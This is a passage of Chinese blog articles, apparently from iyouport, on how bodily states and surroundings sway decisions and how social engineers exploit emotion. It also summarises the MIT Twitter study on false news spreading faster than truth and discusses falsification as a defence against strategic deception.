光、衣着性感的鸡尾酒女招待、以及几乎没有时钟也没有窗户的房间，让你长时间沉迷于赌博中不知道夜晚已经流失。这种环境下人们更倾向于冲动地下注。

你曾经有快饿疯了的感觉吗？那种感觉非常可怕，它不仅会让你情绪失控，而且还会导致冒险行为。

很多对人类和动物的研究确认：随着饥饿程度的增加，冒险的决策也会增加。如上所述，从*生存*的角度来说，这是说得通的。事实上饥饿是一种全方面的威胁（不只有低血糖）。由于生存机制是天生的，当缺乏食物关系到生死存亡时，我们这些互联网人和山洞中居住的祖先没什么区别。（Mkael Symmonds, Julian J. Emmanuel, Megan E. Drew, Rachel L. Batterham, and Raymond J. Dolan, “Metabolic State Alters Economic Decision Making Under Risk in Humans,” June 16, 2010; Phys. Org, “Hunger Affects Decision Making and Perception of Risk,” June 25, 2013）

最后，你还记得上一次不得不去洗手间的时候身体的反应吗？被尿憋到眼红时的状况？你记得自己集中精力努力憋住时的感觉吗？水流的声音都是一种严重的折磨；如果你当时坐在一辆行驶的车子里，每一次轻微颠簸就像世界末日一样恐怖。

Mirjam Tuk 和他的同事做过一个有趣的研究，似乎支持了这样一个理论： 你在抑制自己不尿裤子时所用到的自我控制“溢出”到了决策中。换句话说就是，控制去洗手间的冲动使得你更好地控制不相关领域的冲动。（Mirjam A. Tuk, Debra Trampe, and Luk Warlop, “Inhibitory Spillover: Increased Urination Urgency Facilitates Impulse Control in Unrelated Domains,” 2010）

那么问题：当你饿了、想要小便、或者一夜未眠的时候会发生什么？我不知道会发生什么，但是已经有大量的研究结论表明，在这种情况下你的反应很可能会和平时完全不同。

3、外部因素

这也是非常重要的。我经常为了避免拖延症而不得不去办公室写作，如果在家里写作恐怕几天都难以完成。或许你也有类似的经验，在不同环境状态下自己的表现力是不同的。外部因素包括我们周围的物质环境和身在其中的他人。

像温度和环境光这些因素不一定会直接影响我们选择米饭还是蛋糕；

同样，我也不大可能通过调整恒温器来迫使你点击钓鱼链接 — 如果你家的恒温器是“智能”的，小心咯。

这里想说的是，研究表明环境的确可以影响或者加强我们对情景的感受。

在某种程度上，体温和人际关系融洽、信任以及慷慨的行为都有关系。在《体温影响信任行为：脑岛的作用》这篇论文中，研究人士发现，短时间的温暖和寒冷的刺激会导致人们在信任游戏中作出不同的选择。（Yoona Kang, Lawrence E. Williams, Margaret S. Clark, Jeremy R. Gray, and John A. Bargh, “Physical Temperature Effects on Trust Behavior: The Role of Insula,” August 27, 2010）

大脑中有一块特定的区域同时负责温度感知和信任选择。Lawrence E. Williams 和 John A. Bargh 在“体温升高促进人际关系升温”的研究中也有类似的发现。然而在其他研究中，酷热经常与愤怒、好斗以及决策受损有关。IYP 曾经介绍给这个问题，详见《干旱与古代帝王命运之间的联系为现代提出了警告》

虽然我们倾向于将明媚的日子和好心情联系起来，但是另一项研究发现，较高的环境亮度只是简单地放大了我们的感受，反之亦然。所以如果你心情不错，那么一间明亮的房子会让你感觉更好；但如何你悲伤生气，同样的亮度会让你感觉更糟。（Science Daily, “The Way a Room Is Lit Can Affect the Way You Make Decisions,” February 20, 2014）

最后，尤其需要强调的是，情绪是可以传染的。由于我们是社会动物，周围的人对我们的选择有着巨大的影响，通常称之为同伴压力、从众或服从。不论叫它什么，人们都一种模仿周围人的倾向。还记得我们提供过的用婴儿哭闹声录音骗取账户密码的 社交工程案例 吗？它就是利用了人们之间情绪的传递性来达到目的的。

一个很明显可以影响人们的因素就是*不确定性*。想象你点了一杯鸡尾酒，坐在那里等着服务生送过来。那么你应该付小费吗？不确定。但是吧台上有一个放小费的罐子可以提醒你。服务行业的人都知道，摆这么一个罐子可以提醒人们付小费。

另一个可能影响决策的因素是群体的大小、地位和一致性。例如，每个人都会付小费吗？付小费的人是大明星或VIP，还是普通人？这就是为什么我们对社交媒体的名人动员能力一直不予评论 — — 是的，曾经很多人认为需要先积累互联网影响力再于社会运动方面发挥作

用。暂且不提当局对影响力的收编和打压，名人本身的带动力也并没有你想的那么高，反而是一大群普通人的带动力可能效果更好。

大多数人在面临选择的时候都不会觉得自己是一只愚蠢的羊，但如何你稍微反思一下自己的曾经，也许就不那么坚定了。历史上来说，从众保证了我们的安全，当看到其他人都在逃跑时你也会跟着跑起来，因为狼来了，即便你还没亲眼看到血盆大口。

决策的底线

以上内容希望您能对什么会影响决策这件事有了一些初步的了解。本文的重点并非是心理学研究，也没打算让您变成复杂领域的专家。我们的主题是社交工程攻击和防御，其中最重要的部分就是关于：你是如何上当的 — — 了解自己在决策中的弱点，才能更好地避免因冲动而被操纵。

希望您现在能明白：

- 人们在决策中并非总是理智和富有逻辑的，很多因素会影响我们的决策结果；
- 社交工程攻击者了解人们是如何决策的，并且试图操纵我们所面临的情况，以引导我们作出完全错误的选择。

当局者迷

每个人都曾经作出过错误的决定，有些案例在事后想起来会觉得很可笑，但笑的同时请思考一下，究竟是什么样的影响导致了错误的决定。

心脏滴血漏洞（ Heartbleed bug ）可能是2014年最大的安全事件之一了，几乎影响了互联网上的每个人。这是一个出现在加密程序库 OpenSSL 的安全漏洞，该程序库广泛用于实现互联网的传输层安全（TLS）协议。当时大多数人的反应是恐慌，可以说是正常反应，就如每一次威胁情报出现时人们的反应那样。但有一位先生与众不同，他把自己的密码张贴在“华盛顿邮报”的网站上了，并宣布其他人可以随便使用。（Konrad Krawczyk, “Man Makes Fun of Heartbleed, Posts Passwords Online, Gets ‘Hacked,’ ” April 16, 2014）

不出所料，真的有人这么做了。后来他在网上认错，但相比下更重要的是，他应该学到了东西：晚上不锁门是一回事，但若告诉所有人你没有锁门，并声称谁有本事就来偷吧，那就是另一回事了。

这一点不好笑。先提出一个问题：如果你打算抢劫一家企业，你会怎么做：

1. 用透明塑料袋遮住脸；
2. 用荧光笔把脸涂花；
3. 用胶布、巧克力酱和饼干渣抹一脸；
4. 以上都不是

这并不是开玩笑，不止一次新闻报道过有劫匪使用了上面这些方法来进行“反侦察”（Natalie Evans, “Robber Who Tried to Hide His Face with Clear Plastic Bag and the Top 10 Strangest Disguises”）当然，对于我们这些围观者来说，取笑这些人很容易，因为他们最后都被抓住了，但他们完全可以在伪过程中做出更好的决定。为什么没有呢？

显然， 行动和策划行动不完全是一回事 。行动者经常在冲动的情况下作出不明智的决策，而事后大多会能想到“如果当初***就好了”。我们不评价曾经的行动者（你知道的，这里指的不是抢劫）行动本身就是价值，后人应该能从失败中找到经验教训，以获得进一步的成功。 防御能力是进攻中最关键的部分。

经常有有活动家宣称“我没有秘密、我光明磊落，于是不需要加密和匿名技术”，或者很多中国的活动家曾经告诉我们，“在中国讲真话不论如何你都会被抓住，所以那些保护性技术是无用的”等等，这些思路都和那位贡献密码的先生一样，看起来很“英雄”，事实上它只是一个非常糟糕的错误决策，因为这会令您成为各种各样的攻击目标。

试想一下，如果您的任务是去偷一辆自行车，那么您想偷什么样的车子呢？是那种具有强大密码锁的名牌新车，还是根本就没上锁的普通车子？想必大多数人都知道应该偷后者，名牌新车肯定更好，但是破解密码锁的时间过长肯定加倍了被抓到的风险。这就是为什么希望您至少弄一把锁。

社交工程攻击者对人类的基本决策过程有着深刻的了解，于是他们深知如何激起你的情绪反应，以导致逻辑思考短路。每个人都有情绪，与受教育程度的关系不大，所以不必觉得自己“很聪明”就能绕过这些危险。

「图」

「图」

杏仁核劫持

杏仁核劫持是一种典型的诈骗成功手段。

杏仁核位于下丘脑的下方、海马体的左侧，它的一项重要功能是处理所有形式的刺激：视觉、听觉、触觉、味觉……并将这些过程发送给大脑的其他部分进行处理。

如果大脑在变得活跃时能够平衡情感和理智，那么一切就会变得顺利；但是如何杏仁核处理的是一些强烈的感觉和情绪，那么它必须从其他地方获取“力量”，即 在大脑中负责理性思考的部分。

从本质上说，杏仁核关闭了理性思维中心。当大脑终于跟上杏仁核处理的进度，但理性思维中心还没开始工作时，谁来处理它的工作呢？没错，就是感性思维中心。你上一次纯粹靠情感来做决定的时候发生了什么？

不用告诉我。但我知道，这种情况下任何人都会作出糟糕的选择。这就是杏仁核劫持，理性中心完全被关闭了，你无法思考。

钓鱼攻击者利用的就是这点。它努力触发你的恐惧、贪婪、欲望或者好奇的情绪，你的大脑会随之停止理性思维中心传出的信息，“别点那个链接”！“拒绝那个权限”！这些信号被屏蔽了。

杏仁核的浮躁很容易被控制住，但需要一点时间，杏仁核不可能长期劫持大脑，这种劫持是快速的、会被情绪刺激的强度所延长。只要你能让自己停下来，稍微等一会再做决策，你就能重新掌握控制权。

没错，就是这么简单 — — 停下来，等一下再做决定，这点非常重要，尤其是当你非常想要急于做决定的时候，停下来想想是什么让你如此着急的？你被什么刺激到了？那就是你的杏仁核失败的位置。

攻击者并不知道他们正在劫持你的杏仁核，但他知道只要能激起你的情绪波动，就能操纵你采取一些完全不利于自己的行为，这就是社交工程学的关键所在。

本文看起来非常简单，但是它很关键：冲动决策是几乎所有灾难的起源。后面的文章将继续分析这些问题，关于如何操纵，使用什么工具，怎样达到目的。〇

原文

报告：为什么虚假总是能‘击败’真相？机器人水军并不是主要原因 - iyouport

战略性欺骗-识别和抵制长读集中化毁掉互联网自由

这是一份令人沮丧的报告。它揭示了诸多长期存在的、且没有简单解决方案的问题：主要是人，而不完全是网络机器人（宣传性水军）在“心甘情愿”地毁掉民主，社交媒体变成了认知操纵者的桃花源。唯一的“好消息”是，该报告首次以直观的形式证实了心理学和传播学长久以来的推论，即 人类并不喜欢真相……

人们经常说，中国的异议人士“太喜欢传播甚至杜撰虚假消息，把推特中文变成了垃圾场”。但事实上，非异议人士同样喜欢传播和杜撰假消息，这几乎是人类的通病，太过痴迷于满足或表达自己的立场，只信任那些符合自己立场的信息，而无所谓真假。然而这种人性弱点与民主理想完全背道而驰，它只能意味着最擅长欺骗的人将最终赢得权力。

民主要建立在公民清醒的认识并理解现实的基础上，只有真相才能让人民做出正确的选择。而如今，讲述真相变成了某种勇气，因为人们会因个人狭隘的眼界和错误的理解而怀疑你的整体立场，让你变得可疑。反馈往往完全令人无语。我们编译整理的隐私国际组织（Privacy International ）的优秀报告《国家级监视赞助商》被中国异议人士认为是“中南海的外宣写的”，只因为其中揭示了美国对外国监视技术能力的促进……如果我们不顾完整性删除关于美国的部分，只发布中国和欧洲对其他国家监视能力的协助，或许就不会招致如此奇怪的评价了？但这不是解决方案。就如负责采集新闻的编辑告诉我，“某些消息应该移除”，因为“中文读者没必要了解这些东西”，我拒绝了。我们的立场是就事论事，而不是顾及哪个政权的脸面。

但我们有可能很难赢过虚假消息，就如当前的状况，我们的就事论事原则令我们脱离了大部分中国异议人士的群体，以至于技术和知识的协助难以惠及这些最需要它们的人。

中国人对假消息概念有误解，源于当局对所谓的“谣言”的打击，人们开始“喜欢谣言”，以此反驳当局对言论的审查。立场是正确的，但该方法是一种被恶意愚蠢的结果。要知道，当局打击的“谣言”只是违背其自身利益的信息，而并非仅仅是假消息，每一种权力都在试图打造自己的“现实”。如果人们被捆绑在这一狭小的视野内是无法赢得胜利的。因为中国社会的胜利应该是获得民主，而不仅仅是结束当下的专制。

然而，当下的时机非常不利。我们在《真相衰变》这篇文章中已经解释了很多。本文则来自于一份最新的报告，它显示了更加严峻的现实。

“Falsehood flies, and the Truth comes limping after it”

英国讽刺作家 Jonathan Swift 曾经写过这样一句话：“虚假一日千里，真相举步维艰”。在三个世纪前，这是夸张的。但根据上周发表在“ 科学”杂志上的一项研究报告显示，这句话就是对社交媒体的事实描述。

这项大规模的新研究分析了 Twitter 存在的每一个主要有争议的新闻故事—大约 126,000 个故事、时间跨度超过 10 年、被 300 万用户发布，结果发现，真相根本无法与恶作剧和谣言竞争。

研究显示，通过每一个常见的指标，虚假消息在 **Twitter** 上始终支配着真相，虚假新闻和谣传往往能覆盖更多人、更深入地渗透到社交网络中，并且比真实的消息传播得更快。

“我们的研究似乎很清楚的表明，虚假信息的表现的确优于真实的信息，”麻省理工学院数据科学家 Soroush Vosoughi 表示，他自 2013 年开始研究假新闻，并领导了这项调查。“这不仅仅是因为机器人，更可能是源于人性本身。“

该研究已引起社会科学家的警觉。“我们必须在 21 世纪重新设计我们的信息生态系统，”一组 16 位政治科学家和法律学者在发表于“ 科学”杂志上的一篇文章中写道。他们呼吁开展跨学科研究的新动力，“以减少假新闻的传播，并解决其所揭示的潜在病理。”

“我们怎样才能创造一个新闻生态系统……重视和促进真相？”

新的研究表明，这并不容易。虽然 Vosoughi 和他的同事只专注于推特—这项研究是利用该公司向麻省理工学院提供的独家数据进行的—

但他们的工作对 Facebook、YouTube 和每个主要的社交网络都有用。任何经常放大引人入胜或挑衅性内容的平台都有可能随之放大假消息。

尽管该研究是用统计学的应用语言编写的，但它提供了对在这些平台上传播的信息之准确性的系统性指控。作者发现，一个虚假错误的故事比一个真实的故事更容易形成病毒式传播。平均而言，一个虚假故事比一个真实的故事的传播速度快六倍。虽然虚假故事几乎体现在每个主题上—— 包括商业、恐怖主义和战争、科学技术和娱乐—— 但其中关于政治的假新闻经常做得“最好”。

研究发现，Twitter 用户似乎更喜欢分享谎言。即使研究人员控制了虚假消息起源账户之间的每一个差异—比如那个人是否有更多的粉丝或被认证了身份—结论是这些条件完全无关紧要，与准确的新闻相比，虚假信息被转发的可能性仍然高出 70%！

并且，把全部责任归咎于机器人水军是不合理的。研究发现，从 2006 年到 2016 年，Twitter 机器人也放大了真实故事，就像它们放大了虚假故事一样。作者写道，谎言的繁荣是“因为人类，而不是机器人，是人类更容易被骗、更有可能传播它。”

政治科学家和社交媒体研究人员在很大程度上赞扬了这项研究，称它是迄今为止在社交网络上对虚假消息问题的规模进行的最广泛和最严格的审视，尽管有些人对机器人部分的调查结果提出质疑，并质疑其对“新闻”的定义。

“这是一项非常有趣且令人印象深刻的研究，并且在样本中，明显不真实的断言如何比可证明的真相传播得更快更广泛的调查结果，看起来非常强大，” 牛津大学政治传播学院的 Rasmus Kleis Nielsen 教授说。

是什么让这项研究与众不同？在过去，已经有很多研究人员考察过网上传播虚假信息的问题。他们经常关注围绕奇异事件的谣言，比如在 2012 年发现希格斯玻色子之前的猜测，或者 2010 年海地地震之后的一系列假消息。

这篇新论文的观察覆盖面更为广泛，几乎涵盖了 Twitter 的整个生命周期：从 2006 年9月到 2016 年12月，Twitter 传播的每一条有争议的新闻。但要做到这一点，Vosoughi 及其同事不得不回答更多初步问题，第一条就是：究竟什么是真相？我们要怎么知道什么是真相？

这个问题可能会产生生死攸关的后果。

“虚假消息已经成为一个白热化的政治问题、和真正的文化话题，但触发人们警觉的是五年前的波士顿袭击事件，” 麻省理工学院媒体科学家也是作者之一 Deb Roy 表示。

2013 年4月15日，两枚炸弹在波士顿马拉松赛道附近爆炸，造成3人死亡，数百人受伤。几乎立即，关于爆炸事件的疯狂阴谋论就完全接管了 Twitter 和其他社交媒体平台。4月19日，马萨诸塞州州长要求数百万人留在家中，因为警方进行了大规模的搜捕，信息的混乱变得更加激烈。

Roy 和妻子还有两个孩子被困在贝尔蒙特的房子里，已经陷入困境，Twitter 成为了他们对外界了解的唯一生命线，但是，他说：“我们听到的几乎都是假消息”。

危险解除之后他制作了一个“真相机器”：一种可以对推文进行排序的算法，并从中推出最可能准确的事实。这一算法侧重于给定推文的三个属性：作者的属性（他们通过验证了吗？），推文使用的语言类型（它是否复杂？），以及给定的推文如何通过网络传播。

此后，麻省理工学院管理学教授 Sinan Aral 和 Soroush Vosoughi 转向审视整个Twitter上的谎言是如何发生的。他们不仅回到了“什么是真相？”这个问题，并且更重视另一个密切相关的问题：计算机如何知道什么是真相？

他们选择转向在线事实的最终仲裁者：第三方事实核查网站。通过数据刮取和分析六个不同的事实查证网站，包括 Snopes，Politifact 和 FactCheck.org（它们产生了在 2006 年和 2016 年之间于 Twitter 上的传播的数以万计的谎言列表）然后，他们使用社交网络 Gnip 拥有的专有搜索引擎在 Twitter 上搜索这些谣言。

最终，他们发现了大约 126,000 条推文，这些推文总共被转发了超过 450 万次。其中一些与其他网站上托管的“假”消息有关；一些人开始传言，无论是在推文的文本中还是在附图中；（该团队使用了一个特殊程序—就是我们曾经介绍过的“光学字符识别 OCR”，可以搜索静态推文图像中包含的单词）其中有些推文包含的信息半真半假或与其他地方相关联。

然后，他们进行了一系列的分析，比较虚假消息的受欢迎程度和真实新闻的受欢迎程度，结果，他们发现的东西令人震惊。

Vosoughi 举了一个例子：他说，有很多方法可以让推文获得 10,000 转推。如果一位名人发送 Tweet A，并且他拥有几百万粉丝，那么可能有 10,000 个人会在他们的时间线上看到 Tweet A 并决定转发它。Tweet A 被播出，创造了一个大而浅层的模式；与此同时，没有很多关注者的人发送 Tweet B，消息向他们的 20 个关注者发送—但是其中有一个人看到了它，并转发了它，然后转发者一个追随者继续看到它并转发它，直到成千上万人看到并分享了 Tweet B。

Tweet A 和 **Tweet B** 最终都拥有了相同规模的观众，但相比下 **Tweet B** 有更多的“深度”—— 它的转发有可能将相隔很远的回音壁气泡链接在一起了，以 Tweet A 从未达到过的方式形成了病毒式传播。它同样可以最终获得 10,000 转推，但它具有一个非常不同的扩散模型。

延伸阅读：《为什么社交媒体的气泡生态很容易被操纵？》

事情就是这样：根据两个指标，虚假消息占主导地位，它始终覆盖更广泛的受众，并且它比真实新闻更容易深入到社交网络中—— 数据分析发现，准确的新闻无法将 10 多个转推链接在一起；而假消息可以组成一个至少 19 个转推的连锁，并且假消息比准确的新闻传播的速度快 **10** 倍。

更重要的是，这些结果即使完全通过人类、而不是机器人操作，也被证明是强大的。与主要调查分开，一组本科生团队实际检查了同一时期的大约 13,000 份随机选择的英文推文。研究表明，虚假信息以“几乎完全相同”的模式就跑赢了真实消息。

以上一次美国总统选举中出现的两个消息为例。2015 年 8 月，社交媒体上传出一则消息，特朗普让一个生病的孩子使用他的专机获得了紧急医疗护理。Snopes 确认几乎所有的部分都是真实的。但根据该团队的估计，只有大约 1,300 人分享或转发了这个故事。

2016 年 2 月，有传闻说特朗普的表弟最近去世了，他的讣告中反对这位大亨竞选总统。该“讣告”说，“作为特朗普姓氏的骄傲继承人，我恳请你们所有人，请不要让那个行走的垃圾袋成为总统。” 但是，Snopes 找不到“堂兄”或他的讣告的任何证据，并将这个故事视为虚假。

尽管如此，依然有大约 38,000 名 Twitter 用户分享了这个故事，它将转发链条组合在一起了，这个数字是“病童”故事的三倍。

另一个假消息声称拳击手 Floyd Mayweather 戴着穆斯林头巾参加特朗普的集会，也达到了惊人的病毒式传播，拥有超过病童故事**10** 倍的观众。

我们也不喜欢特朗普，但特朗普如果真的做了善事（帮助生病儿童）哪怕那是一种政治表演，该消息本身也应该被认可为真，与我们所有人对特朗普的看法毫无关系。是真是假与任何人的任何立场都无关。但大多数人做不到这点，无法承认那些违背个人立场的真相。这就是为什么调查性新闻衰落，而所谓的内容营销在操纵大众认知。

为什么谎言如此高效？麻省理工学院的团队确定了两个假设。

首先，假新闻似乎比真实新闻更“新颖”。该团队发现，虚假消息通常与它们被转发前 60 天内出现在用户时间线上的所有其他推文有着明显的不同；

其次，虚假新闻比平常的推文更能引发激烈的情绪反应。研究人员创建了一个关键字数据库，Twitter 用户过去常常回复的126,000 条有争议的推文，然后使用最先进的情绪分析工具对其进行分析。他们发现，假推文倾向于引导出与惊讶和厌恶情绪相关的关键词，而准确的推文则会传达与悲伤和信任相关的关键词。

该团队想回答另一个问题：Twitter 机器人是否有助于传播错误信息？

在对 300 万 Twitter 用户的样本中使用两种不同的机器人检测算法后，他们发现，自动机器人的确正在传播虚假新闻—但它们以与转发真消息相同的频率转发假消息。

“真实和虚假在 Twitter 上传播的巨大差异无法通过机器人的存在来解释，”Aral 说。

但是这一结论让美国一些政治学家不高兴了，他们说，“这不应该被用来反驳俄罗斯机器人最近在播种虚假信息方面的作用”。据“ 纽约时报”称，在佛罗里达州帕克兰的学校枪击事件发生后，与俄罗斯有关的机器人“军队”帮助扩大了分裂言论。（好吧，不过不论如何我们也不想赞成把地缘政治立场拉入科学研究领域的意向）

“这里可能有两种情况（1）在整个10年的数据集中显示，机器人并没有直接支持虚假宣传；（2）在最近的一部分案例中，僵尸网络已被战略性地部署，以扩大虚假宣传的范围。“乔治华盛顿大学政治学家

Dave Karpf 在一封电子邮件中写道。

“我的猜测是，这篇论文将被视为’科学证明机器人并不重要！’，如果我们关注 Twitter 的整个生命周期，本文确实表明了这点。但基于机器人的辩论则假设它们的使用最近已经被升级，因为战略性水军已经将资源投入到对它们的使用中。本文并未反驳这一假设，“他说。

Vosoughi 同意他的论文并不能确定僵尸网络的使用是否会在 2016 年美国大选中发生变化：“我们没有研究机器人角色的变化，这是一个有趣的问题，我们可能会在未来的工作中涉入这个问题。”

一些政治科学家也质疑该研究对“新闻”的定义。通过转向事实检查网站，该研究模糊了各种各样的虚假信息：彻头彻尾的谎言，都市传说，恶作剧，恶搞，虚实相间的消息（就是夸张化）和所谓的 “假新闻”。 “它本身并不只是专注假新闻—即看起来像新闻内容的文章或视频，它们似乎经历了一个新闻过程，但实际上是捏造的“。

因此，该研究可能会低估“无争议的新闻”：即 广为人知的准确新闻。多年来，Twitter 历史上收获最多的帖子是庆祝奥巴马再次当选总统。但由于他的胜利不是一个广受争议的事实，Snopes 和其他事实核查网站从未进行过证实。于是也就没有被这项研究报告抓取。

政治科学家 Tromble 在一封电子邮件中说：“关键的一点是，能引起强烈情绪的内容更容易在 Twitter 上进一步传播，更快，更深入，更广泛。这一特殊发现与许多不同领域的研究相一致了，包括心理学和传播研究。该报告的体现也相对直观。”

达特茅斯学院教授 Nyhan 说：“网上的虚假信息通常非常新颖且经常是消极的。众所周知这两个特征通常会引起人们对他人的关注，并导致我们希望与他人分享这些信息—人类习惯于注意到新的威胁，特别注意消极的威胁。”

“当你不受现实的限制时，创造这两种情绪简直太容易了。因此，人们可以通过强大的方式利用人类心理学与这些网络设计的相互作用“。

他称赞 Twitter 向研究人员提供数据，并呼吁其他主要平台（如 Facebook）也这样做。“在研究方面，平台是关键，我们有很多东西需要学习，但我们在没有平台伙伴关系和合作的情况下可以学习的东西将非常受限，“他说。

“这些公司现在拥有很大的权力和影响力，完全可以阻止人们获取民主化的新闻生态。平台现在掌握的权力意味着他们必须面对大量的监督和保持足够的透明度，“他说。

可惜他们没有。所有这些集中化的巨头的“透明度”都不存在，他们的算法作为“商业机密”受到法律保护，他们完全可以大模大样地服务于地缘政治利益和本土维稳，而公民完全不得而知。

然而，以上这些还没有包含研究中最令人沮丧的发现。当开始研究时，麻省理工学院的团队预计，分享最多假新闻的用户基本上都会很受欢迎。他们认为会发现一群人以一种党派意识形态或煽情的方式过度使用 Twitter（类似中国“帝吧”那种五毛团队的用法），积累的粉丝量会比基于事实的其他用户更多。

但最后该团队发现，情况正好相反。与假新闻分享者相比，分享准确信息的用户拥有更多关注者，并发送了更多的推文。这些说实话的用户也在 Twitter 上运作了更长的时间，他们更有可能被验证（蓝色✓）。简而言之，最值得信赖的用户可以拥有 Twitter 作为公司或社区可以赋予其最佳用户的每一个明显的结构优势。

换句话说，真相已经开始运转了，但不知何故，虚假信息仍然赢得了胜利。作者写道：“ 尽管存在 [帐户之间] 的这些差异，但虚假的信息依旧比真相更加分散、传播更加快速。而不是理论上的反过来”。

这一发现应该被社交媒体上每一位希望查找或分享准确信息的用户所警惕。这表明，不管人们如何巧妙地计划使用 Twitter，不管他们如何精心策划自己的 feed 或跟随可靠的消息来源，他们仍然很有可能被在这一时刻里推到高热的谎言所欺骗。

而且，人们只要相信了一则假消息便很难放弃这种信任。

假消息分为两种，一种就根植于恐惧本身，另一种则源于希望，它们都与散播者的即有认知存在着或多或少的联系。比如担心网络管制的中国人会相信那些原本出于自我审查而杜撰出来的管制消息；担心恐袭的欧洲人会轻信恐袭很快会再次发生的传言；把改变寄希望于权力斗争的人们会信任所谓的“海外中文小报”杜撰出来的宫廷戏；如果你买了一只股票希望它升值就会倾向于相信该公司生机勃勃之类的宣传性消息……

人们恐惧和期待的心理都会引诱他们相信不同的假消息。对一个群体来说属于“忧患类谣言”的信息，对另一个群体来说就有可能是“心愿类

谣言”，谣言的制造者当然深悟这个道理，他们决定散播一则什么样的谣言取决于他们希望人们—他们的受众—做出什么样的反应。这就是操纵，基于社交工程学。

有趣的是，对一些群体来说，忧患类谣言本身在某种程度上也可以是心愿类谣言，比如特朗普听说他的政敌正在酝酿一个邪恶计划、或者你最不喜欢的那个官员做出了一些令人毛孔悚然的事……你是不是会感觉很满足呢？如果你听到了一则消息描述一件令人愤怒的事，恰好证实了你早前的判断，在愤怒的同时也会有一种满足感。即便是纯粹的假消息你也会倾向于深信不疑，只要它能让你“满足”。

在这一基础上，监视人们的言行就变得很简单了。并且假消息的传播本身就能获取到一些隐私信息，也就是人们称之为“钓鱼帖”的假消息杜撰方法，它还具有次生效应，可以进一步扭曲成为“含有真实信息的”半虚假消息。

尚不清楚哪些干预措施（如果有的话）可以扭转这种虚假的整体生态。几乎没有证据表明人们会改变他们的意见，即使是在他们看到了绝对可靠的事实检查站点做出了判断的情况下，如果结论证明是人们错了，人们就很可能不会承认。在社交网络或搜索引擎上将虚假新闻标记出来的方法如今被很多人信仰，但这种方法显然没什么用。

简而言之，社交媒体似乎一直在系统性地以牺牲事实为代价来放大谎言，专家、政治家和科技公司都不知道可以如何扭转这种趋势。对于任何以共同的公共现实为前提的民主体制来说，这无疑是一个危险的时刻。而对于那些惯用认知操纵以巩固权力和诱导他人以实现自己的利益的威权体制和其社交工程攻击部队来说，这是一个“美好的新时代”。〇

原文

辟谣往往无效除非自我批驳 — 识别战略性欺骗的主要途径（6-下） - iyouport

战略性欺骗-识别和抵制

【2019年9月3日存档】继续前文，关于如何抵制欺骗：”能战胜自己就能战胜一切”

在这里回顾本系列：

- 《欺骗不是撒谎这么简单：对峙的艺术（1）》
- 《伟大的自欺—战略性欺骗的心理维度（2）》
- 《想象力、创造力和较量—欺骗与反欺骗的互动（3）》
- 《偏执的保密—欺骗的主要方法之一（4）》
- 《让你看见—欺骗的积极方法之二（5）》
- 《反情报能力和思维模式 — 识别战略性欺骗的主要途径（6-上）》

*结论*就是分析人员对事态的根本性判断；而且，一旦得出结论，将高度影响分析人员对材料的理解。这点非常重要。

认知心理学认为，知觉形成的速度是很快的，而且不容易改变。一旦你对某一事物有了*知觉*，就会形成某种看法，也就是某种认知；即便此后知觉发生了变化，你也会继续以原有的认知去理解它。

在情报分析过程中，通常都是从迹象十分模糊的初始阶段开始接触情况的；随着接收到更多的补充性信息，情况会逐渐变得明朗，但是，最初的认知会严重影响人们对客观情况的认识。

出现证伪的信息并不会改变人们最初的看法，许多零散情报中的积累信息也经常不会被作为一个完整的信息来研究。这是固有的思维缺陷。

⚠这就是为什么你看到辟谣是无效的；也是为什么“人格暗杀”那种拙劣的造假却屡试不爽。在这里看到详细解读《人格暗杀和抹黑运动：谁在受益？》。

并且，就如你在互联网上遭遇到的信息消防栓轰炸那样，情报分析人员也会面对同样的事 —— 紧迫的时间和大量信息的压力；在任何新事态出现后，决策者就会马上要求分析师进行解读，而此时的分析人员并没有能完全了解情报资源。

互联网上被情绪高度驱使的肤浅的认知判断就是这种情况的结果，情报分析人员也经常会采取先入之见。

认知心理学认为，即然最初的判断很难改变，不如强调对一件事的认知没有完成。新信息正在不断涌现，在这种情况下分析人员很有必要明确区分*提出观点阶段*和*评估阶段*，尽可能减缓做出结论。

并且，应该定期从头开始对关键问题进行彻底的分析，以求避免增量分析中存在的问题。

🌤这些建议对我们所有通过互联网了解局势并期待改变现实的人来说，同样是非常必要的。

这是抵制欺骗的关键。

3、证伪假设

「图」

如你所知，最常被使用的分析方法是*证实方法* —— 当出现一个新的情况时，分析人员就要动用各种手段对其进行核实。就像你正在网上判断假新闻时所做的那样。

⚠但是，这样做有严重缺陷，尤其是很容易遭到战略性欺骗攻击 —— 就如精心策划的任何假消息一样，它们都带有你天然觉得正确无误的特点，这样你才能上当。

如果所有信息收集手段都指向同一个目标，那么分析者会理所当然地认为“新情况得到了证实”，结论由此而生。

而那些较少被佐证的材料则被视为“假消息”或不想干的消息，从而错过了识别欺骗战略的大好时机。

证实的基础是归纳法。

经验主义哲学家认为，科学是“经验的科学”，科学知识来自对经验事实的归纳；因此，归纳法是*发现*的方法。

然而，这种归纳方法在逻辑上是有严重缺陷的。

大卫休谟证明了归纳法永远不能被证明；卡尔波普尔认为：从逻辑观点上看，无论从多少单称陈述中都不能推论出全称的陈述，因为用这种方法得出的结论总是有可能错误的 —— 不论我们看到多少只白天鹅，都不能证明天下所有天鹅都是白的。

在对手的战略性欺骗广泛存在的情报分析中，归纳法的缺陷非常明显。

对手方的情报系统往往会大规模释放虚假信号，从而将其真实的意图掩盖起来。

为了使假情报看起来确有其事，对手会制造很多周详的欺骗计划，利用各种手段，向被骗者提高假消息。政治宣传也是这样对大众下手的。

⚠这种情况下，如果你一味地利用佐证法去衡量信息的真伪，就恰好落入了对手的圈套。

认知心理学构建的“科学发现”逻辑倚重证伪法。波普尔认为，知识增长模型以“试错法”为基本方法，通过各种尝试，排除错误的可能性，逐渐接近正确。

💡一个全称陈述不能被证实，但是可以被证伪。因此，提出假设，然后证伪，再提出假设，再加以证伪 …… 这样循环下去就可以一步步接近真相。

这一方法符合科学研究的逻辑。

逻辑实证主义认为，科学始于中立的观察，观察者不应该带有成见，“观察—假设—验证” 构成了科学发现的逻辑。

但是，英国科学哲学家汉森的研究表明，中立的观察语言是不存在的，因为观察本身就渗透着理论；观察是受理论偏见支配的，人们在不同的理论偏见的引导下会从相同的的图片中看出完全不同的东西。

这就是所谓的“格式塔转换”。

例如，就日落这一天文现象而言，相信地心说的人看到的是太阳在绕地球转动；而相信日心说的人则会看到完全相反的结果。

无疑，观察总是渗透着理论的，人的认识总会带有局限性，总伴随着错误、偏见。就如波普尔所言：理论至少是一些基本的理论或期望，总是首先出现的，它们总是先于观察。

